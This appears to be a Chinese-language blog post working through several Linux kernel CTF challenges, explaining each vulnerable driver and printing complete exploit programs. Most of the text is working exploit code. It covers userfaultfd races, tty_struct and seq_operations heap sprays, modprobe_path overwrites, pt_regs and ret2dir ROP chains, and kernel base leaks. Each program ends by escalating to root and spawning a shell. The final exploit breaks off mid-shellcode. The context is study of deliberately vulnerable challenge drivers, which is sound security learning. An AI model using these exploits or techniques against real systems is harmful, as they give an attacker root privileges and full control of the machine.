buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page = malloc(0x1000);
memset(page, 'a', 0x1000);
page_size = sysconf(_SC_PAGE_SIZE);

registerUserFaultFd(buf, 0x1000, fault_handler_thread);

for (int i = 0; i < 0x10; i++)
{
noteAdd(i, 0x20, page);
noteEdit(i, TTY_STRUCT_SIZE, page);
}
puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m");
sleep(1);

for (int i = 0; i < 0x10; i++)
pthread_create(&edit_t, NULL, evilEdit, (void*)i);
puts("\033[34m\033[1m[*] Edit threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_edit);
puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m");
sleep(1);

for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");
sleep(1);

for (int i = 0; i < 0x10; i++)
pthread_create(&add_t, NULL, evilAdd, (void*)i);
puts("\033[34m\033[1m[*] Add threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_add);
puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m");
sleep(1);

noteGift((char*) notebook);

for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (hit_tty = (*((int*)tty_data) == 0x5401))
{
printf("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n", tty_idx = i);
printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n", notebook[i].buf);
break;
}
}
if (!hit_tty)
errExit("Failed to hit the tty struct.");

tty_ops = *(unsigned long long*)(tty_data + 3);
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);

prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
printf("\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: \033[0m%p\n", SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);

for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (*((int*)tty_data) != 0x5401)
{
if (fake_tty_ops_idx == -1)
printf("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n", fake_tty_ops_idx = i);
else
{
printf("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n", fake_stack_idx = i);
break;
}
}
}

if (fake_tty_ops_idx == -1 || fake_stack_idx == -1)
errExit("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs.");

noteEdit(fake_tty_ops_idx, sizeof(struct tty_operations), fake_tty_data);
noteEdit(fake_stack_idx, 0x100, rop);
noteGift((char*) notebook);
printf("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n", notebook[fake_tty_ops_idx].buf);
printf("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n", notebook[fake_stack_idx].buf);

read(note_fd, tty_data, tty_idx);
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);

((struct tty_operations *)fake_tty_ops_data)->ioctl = WORK_FOR_CPU_FN + kernel_offset;
write(note_fd, fake_tty_ops_data, fake_tty_ops_idx);

read(note_fd, tty_data, tty_idx);
memcpy(fake_tty_data, tty_data, sizeof(size_t)*0x200);
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = prepare_kernel_cred;
fake_tty_data[5] = 0;
write(note_fd, fake_tty_data, tty_idx);

puts("\033[34m\033[1m[*] Start prepare_kernel_cred(NULL)...\033[0m");
for(int i = 0; i<0x80; i++){
ioctl(tty_fd[i], 233, 233);
}

read(note_fd, fake_tty_data, tty_idx);

fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = commit_creds;
fake_tty_data[5] = fake_tty_data[6];

write(note_fd, fake_tty_data, tty_idx);

puts("\033[34m\033[1m[*] Start commit_creds(ROOT)...\033[0m");
for (int i = 0; i < 0x80; i++)
ioctl(tty_fd[i], 233, 233);
puts("\033[32m\033[1m[*] Done.\033[0m");

getRootShell();

return 0;

}

kernelpwn.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;

static pthread_t monitor_thread;

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}

/* ------ kernel structure ------ */

struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};

从SUCTF2019sudrv学习slub和modprobe_path

建议第一次入门接触slub的师傅们先看一下linux 内核 内存管理 slub算法 (一) 原理讲的非常详细,看完之后可以更好地理解本文的利用手法。

先来分析一下存在漏洞的驱动程序。
首先来看一下sudrv_ioctl函数,给不同的参数,分别执行申请、打印以及释放的功能。释放时将指针置空,不存在UAF漏洞。

在cmd=0xdeadbeef时,会执行打印功能,也就是sudrv_ioctl_cold_2函数。这里出现格式化字符串漏洞。

在sudrv_write函数中,copy_user_generic_unrolled函数不会检查size的大小,因此可以往su_buf写入大于su_buf大小的内容。

主要思路

因为开启了kaslr,所以需要泄露内核的加载基址,执行rop的时候需要将rop写到write函数的返回地址上,因此也需要泄露栈地址。在调用printk时出现格式化字符串漏洞,栈上刚好放着内核地址和栈地址

因此本题的思路为:
1、通过printk格式化字符串漏洞泄露内核加载地址以及栈地址
2、通过越界写漏洞覆盖freelist的next指针为write函数的返回地址
3、将rop写到write函数的返回地址上

从D3CTF2021 liproll学习FGKASLR

可以根据wjh师傅的这篇博客来学习一下FGKASLR以及内核的其他防护。

FGKASLR 在 KASLR 基地址随机化的基础上,在加载时刻,以函数粒度重新排布内核代码。

大概意思就是有些函数的偏移不再是固定的偏移,因此确定内核基址比较困难。但是还是有一部分节区或者gadget没有被细粒度随机化,所以可以多泄露几次内存,比较泄露两次内存中后三位不发生改变的内核地址,通过这个地址泄露内核基地址,并且modprobe_path的地址不会被随机化,所以用modprobe的利用手法比较简单。

首先来分析一下程序,我们可以看到这个函数中存在栈溢出,v1是我们传入的数据,没有限制大小,而v5在栈上,因此栈溢出越界写写到v6中去,在程序的最后会重新将v6赋给全局变量global_buffer,因此可以将global_buffer修改为我们想要的地址。重新调用这个函数就可以在memcpy处将我们想要的数据填入到我们想要的地址上。

而在这个函数中存在越界读漏洞,因为传入的a3没有限制大小

因此我们的思路是通过越界读确定内核基址,然后将global_buffer改为modprobe_path的地址,然后再修改modprobe_path的值为我们写的脚本,执行未知格式文件即可执行我们写的脚本。

常规查看modprobe_path的思路是

但是有些内核没有modprobe_path的符号可以通过__request_module函数找到其地址,通过cmp这一行可以确定modprobe_path的地址

写的exp不稳定,特别容易崩,并且还不知道如何查看是否开启FGASLR,有知道的师傅可以联系我。
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include<stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <signal.h>

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void shell()
{
system("/bin/sh");
exit(0);
}

struct node{
void *buf;
unsigned int len;
};

int fd;

int add(){
ioctl(fd, 0xd3c7f03, 0);
}

int choose(int idx){
int *idxp = &idx;
ioctl(fd, 0xd3c7f04, idxp);
}

int edit(struct node *nodep){
ioctl(fd, 0xd3c7f01, nodep);
}

char data[0x300];

int main(){
signal(SIGSEGV, shell);
save_stat();

system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag\n' > /tmp/chflag");
system("chmod +x /tmp/chflag");
system("echo -ne '\xff\xff\xff\xff' > /tmp/aaa");
system("chmod +x /tmp/aaa");

fd = open("/dev/liproll",2);
if (fd < 0) {
printf("[-] bad open device\n");
exit(-1);
}
printf("[+]open drive\n");

struct node node1;
node1.buf = malloc(0x1000);
node1.len = 0x108;

add();
choose(0);
read(fd, data, 0x300);
printf("[+] Leak address: \n");
for(int i=0;i<0x300/8;i++){
printf("0x%lx\n",*((size_t *)data+i));
}
printf("0x%lx\n",*((size_t *)data+52));
size_t kernel_base = *((size_t *)data+52)-(*((size_t *)data+52)&0xffffff);
printf("[+]kernel_base = 0x%lx\n", kernel_base);

size_t modprobe_path = kernel_base+0xffffffff82448460-0xffffffff81000000;
printf("[+]modprobe_path = 0x%lx\n", modprobe_path);
*((size_t *)node1.buf+0x20)=modprobe_path;
edit(&node1);
strcpy(node1.buf, "/tmp/chflag");
node1.len = 0x10;
edit(&node1);

system("/tmp/aaa");
return 0;

}

从西湖论剑2021easykernel学习pt_regs结构体的利用

linux系统调用的时候会把所有寄存器依次压入内核栈中形成pt_regs结构体。这一步是在调用syscall时的entry_SYSCALL_64函数来完成的。如图所示。之后各个寄存器按顺序压栈。想传什么数据(ROP)可以在用户态写汇编,这样就保存在了内核栈中。之后劫持内核流为add rsp, val;即可将内核流劫持到pt_regs结构体上,pt_regs上布置了我们要执行的ROP,因此可以getshell。

首先来分析一下题目。是一个菜单题,有读写申请释放功能,释放时没有将指针置空,因此存在UAF漏洞(注意读写和申请释放传入的不是同一种结构体,比较坑)。最大可以申请0x20大小的对象,seq_operations结构体也是0x20大小。因此可以申请后释放,再打开stat文件,stat文件申请的就是刚刚释放的对象,此时修改刚刚释放的对象,将start函数改为add rsp, val;即可。

当我们打开一个 stat 文件时(如 /proc/self/stat )便会在内核空间中分配一个 seq_operations 结构体,该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

我们构造如下的ROP,至于为什么是swqpgs_restore_regs+8下面会提到。

首先我们一直跟syscall直到push r15处,我们可以看到r15处的rsp值为0xffffc90000217f58,然后我们跟到调用seq_operations的start函数处,看一下此时的rsp值为0xffffc90000217db8,相差0x1A0,因此我们尽量找add rsp, 0x1a0; ret的gadget,但是没有找到,因此找add rsp, 0x170的gadget,因为下面还有6个pop,因此可以实现add rsp, 0x1a0的效果。

此时已经将内核流劫持到我们的r15寄存器的位置,也就是ROP的地方。当我们执行到swapgs_restore_regs的位置时,我们看到栈顶存放的是我们一开始传入rbp的值,这也就是为什么是swqpgs_restore_regs+8的原因。

之后就可以getshell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#define SEQ_OPS 0xffffffff81319d30
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30
#define INIT_CRED 0xffffffff82663300
#define POP_RDI_RET 0xffffffff81089250
#define COMMIT_CREDS 0xffffffff810c8d40


int dev_fd;
int seq_fd;
size_t kernel_offset = 0;

struct op_chunk {
size_t idx;
size_t size;
void *buf;
};

struct alloc_chunk {
size_t size;
void *buf;
};

void readChunk(size_t idx, size_t size, void *buf) {
struct op_chunk op = {.idx = idx, .size = size, .buf = buf};
ioctl(dev_fd, 0x40, &op);
}

void writeChunk(size_t idx, size_t size, void *buf) {
struct op_chunk op = {.idx = idx, .size = size, .buf = buf};
ioctl(dev_fd, 0x50, &op);
}

void deleteChunk(size_t idx) {
struct op_chunk op = {.idx = idx};
ioctl(dev_fd, 0x30, &op);
}

void allocChunk(size_t size, void *buf) {
struct alloc_chunk alloc = {.size = size, .buf = buf};
ioctl(dev_fd, 0x20, &alloc);
}
size_t buffer[0x100];
size_t swapgs_restore_regs_and_return_to_usermode;
size_t init_cred;
size_t pop_rdi_ret;
size_t commit_creds;
size_t gadget;

int main(){
dev_fd = open("/dev/kerpwn", O_RDWR);
allocChunk(0x20, buffer);
deleteChunk(0);
seq_fd = open("/proc/self/stat", O_RDONLY);
readChunk(0, 0x20, buffer);
printf("[*] start: %p\n", (size_t) buffer[0]);
kernel_offset = buffer[0] - SEQ_OPS;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
init_cred = INIT_CRED + kernel_offset;
pop_rdi_ret = POP_RDI_RET + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
gadget = 0xffffffff8172c151 + kernel_offset;
buffer[0] = gadget;
writeChunk(0, 0x20, buffer);//修改seq_ops->start函数
swapgs_restore_regs_and_return_to_usermode += 8;
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rbp, 0x9999999999999999;"
"mov rbx, 0x8888888888888888;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x6666666666666666;"
"mov r9, 0x5555555555555555;"
"mov r8, 0x4444444444444444;"
"xor rax, rax;"
"mov rcx, 3333333333333333;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}

从kgadget学习ret2dir与pt_regs

ret2dir也就是return to direct mapped memory,具体原理可以直接参考bsauce师傅rtfingc师傅的文章。文章中有小demo,大家可以调一下。
笔者能力有限,如有错误,还请大佬指点。大概解释一下,通过利用一个核心区域,直接映射系统的一部分或全部物理内存(用户空间内存映射到physmap,内核可直接访问physmap),允许攻击者在内核地址空间内访问用户数据。也就是说,用户空间分配的内存,会停留在RAM中,physmap和RAM是直接的映射关系,因此在用户空间填充的数据会映射到physmap中,而内核中有一片区域,叫direct mapping of all physical memory(0xffff888000000000 - 0xffffc87fffffffff),它将physmap映射到内核的一块空间中,此时就会将刚刚用户填充的数据从physmap映射到内核中,可以绕过smep和smap。

直接来看题,在ioctl函数中有call rbx,而rbx又是rdx地址存放的指针,因此存在一个指针解引用,按理说我们可以直接像上一题那样把ROP布置在pt_regs中,但是题目中对[rax-A8h]到[rax-70h]进行了销毁,pt_regs的大小为0xa8,因此销毁的是r15,r14,r13,r12,rbp,rbx以及r10,因此剩下的就剩r8和r9两个寄存器可以使用,我们可以用这两个寄存器进行栈迁移。首先用户态堆喷,以页为单位申请内存并构造ROP。此时这些已经够造好ROP的内存页也会被映射到内核中的direct mapping of all physical memory中。首先我们要先执行r8和r9寄存器中的栈迁移指令,因此需要计算call rbx时rsp与r9的距离。

可以看到,两者rsp相差0xc0,因此选择add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret的gadget,0xa0+4个pop。然后pop rsp之后进行栈迁移,从try_hit处一直用slide滑到ROP处,从而进行提权。为什么try_hit用0xffff888000000000+0x7000000,笔者猜0x7000000应该是一个神奇的数字。这道题exp中跳转到pt_regs的gadget和slide滑块用到的gadget是一样的,这里可能比较不好理解一点,具体可以调一下,自己调过之后会清晰很多(一定要自己调一下)。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#define prepare_kernel_cred 0xffffffff810c9540
#define commit_creds 0xffffffff810c92e0
#define init_cred 0xffffffff82a6b700
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t pop_rax_ret = 0xffffffff810115d4;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
size_t add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353;
size_t add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54;
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;

size_t user_cs, user_ss, user_rflags, user_sp;
int dev_fd;
size_t page_size;
size_t *physmap_spray_arr[16000];
size_t try_hit;

void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void constructROPChain(size_t *rop)
{
int idx = 0;

// gadget to trigger pt_regs and for slide
for (; idx < (page_size / 8 - 0x30); idx++)
rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;

// more normal slide code
for (; idx < (page_size / 8 - 0x10); idx++)
rop[idx] = ret;

// rop chain
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode;
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = (size_t) getRootShell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
}

int main(){
saveStatus();
dev_fd = open("/dev/kgadget", O_RDWR);
if (dev_fd < 0)
errExit("dev fd!");

page_size = sysconf(_SC_PAGESIZE);
// physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
for(int i = 0; i < 16000; i++){
physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (!physmap_spray_arr[i])
errExit("oom for physmap spray!");
constructROPChain(physmap_spray_arr[i]);
}

puts("[*] trigger physmap one_gadget...");

try_hit = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp_ret;" // stack migration again
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);

}

从InCTF的kqueue学习内核堆溢出

这道题断断续续看了一周,得出一个结论,一定要上手调,硬看是看不出来什么的,结合别人写的EXP去整理思路。
题目的登陆账号是ctf,密码是kqueue。题目中的所有检查失败都执行了err函数,但是这个函数返回-1并不会造成程序退出,因此可以约等于没有检查(对做题有用)。
这道题解包文件系统再压缩后qemu就启动不起来了,不太清楚原因,所以用发送exp的脚本直接将exp发过去,不再解包压缩。
题目给了源码,堆溢出的漏洞发生在save_kqueue_entries函数处

至于为什么会溢出,原因在于data_size是我们给的request.data_size是我们给的,而new_queue的定义为char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));(定义同样也在save函数里)。我们可以看到申请的大小是queue->queue_size,因此只要我们确保我们传入的data_size大小大于queue_size即可。

这道题用到的的seq_operations结构体(之前的题中已经用过了),seq_operations的大小为0x20,所以我们要确保new_queue的大小也为0x20,这样它们就会被分配在相邻的空间里。这样溢出就可以修改start函数指针为我们的shellcode。

那么如何确保queue_size为0x20大小呢,因为struct queue结构体就已经是0x20大小了,如果还有queue_entry数据的话肯定就会比0x20大了,因此我们在create_kqueue函数中要确保space的值为0。要确保space的值为0,就要确保max_entries+1为0。这里就用到了整数溢出,我们传入的max_entries的值为0xffff的话,+1就可变为0。

所以本题的思路已经很明显了,首先是整数溢出,然后堆喷,堆溢出覆写seq_operations的start函数。因为没有smep,smap和kpti保护,因此可以ret2usr。
因为开启了kaslr保护,而我们还没有泄露内核地址,所以我们需要在用户态编写的shellcode中获得内核基址,这里主要用到了在调用start函数的时候会将start函数的下一条指令压栈,因此我们在shellcode中获得这条指令的地址,然后减去0x201179(IDA里搜seq_read),即可得到基地址。然后提权拿shell。

我们调试的时候断在save_kqueue_entries函数处堆溢出的那个语句

我们可以看到memcpy函数的目标地址是0xffff88803dbbc640,我们看一下这个地址的值,发现他的下一块相邻地址就是seq_operations结构体所在的位置(通过重复的指令看出来)。

但这道题我不太理解的是我们先堆喷后save_queue,那么申请的new_queue不应该在堆喷的seq_operations结构体后面么,为什么溢出还可以覆盖到。希望有懂得大佬滴滴我给我讲一下。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>

typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;

long dev_fd;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void createQueue(uint32_t max_entries, uint16_t data_size)
{
request_t req =
{
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xDEADC0DE, &req);
}

void editQueue(uint16_t queue_idx,uint16_t entry_idx,char *data)
{
request_t req =
{
.queue_idx = queue_idx,
.entry_idx = entry_idx,
.data = data,
};
ioctl(dev_fd, 0xDAADEEEE, &req);
}

void deleteQueue(uint16_t queue_idx)
{
request_t req =
{
.queue_idx = queue_idx,
};
ioctl(dev_fd, 0xBADDCAFE, &req);
}

void saveQueue(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size)
{
request_t req =
{
.queue_idx = queue_idx,
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd, 0xB105BABE, &req);
}

void shellcode(void)
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c580;" // prepare_kernel_cred
"add r13, 0x8c140;" // commit_creds
"xor rdi, rdi;"
"call r12;"
